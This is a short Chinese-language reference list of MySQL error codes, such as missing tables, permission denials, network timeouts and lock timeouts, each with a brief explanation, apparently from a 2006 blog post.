1051：数据表不存在

1054：字段不存在

1065：无效的SQL语句，SQL语句为空

1081：不能建立Socket连接

1114：数据表已满，不能容纳任何记录

1116：打开的数据表太多

1129：数据库出现异常，请重启数据库

1130：连接数据库失败，没有连接数据库的权限

1133：数据库用户不存在

1141：当前用户无权访问数据库

1142：当前用户无权访问数据表

1143：当前用户无权访问数据表中的字段

1146：数据表不存在

1147：未定义用户对数据表的访问权限

1149：SQL语句语法错误

1158：网络错误，出现读错误，请检查网络连接状况

1159：网络错误，读超时，请检查网络连接状况

1160：网络错误，出现写错误，请检查网络连接状况

1161：网络错误，写超时，请检查网络连接状况

1062：字段值重复，入库失败

1169：字段值重复，更新记录失败

1177：打开数据表失败

1180：提交事务失败

1181：回滚事务失败

1203：当前用户和数据库建立的连接已到达数据库的最大连接数，请增大可用的数据库连接数或重启数据库

1205：加锁超时

1211：当前用户没有创建用户的权限

1216：外键约束检查失败，更新子表记录失败

1217：外键约束检查失败，删除或修改主表记录失败

1226：当前用户使用的资源已超过所允许的资源，请重启数据库或重启服务器

1227：权限不足，您无权进行此操作

1235：MySQL版本过低，不具有本功能

浙江博硕数据 2006-05-14 14:12 发表评论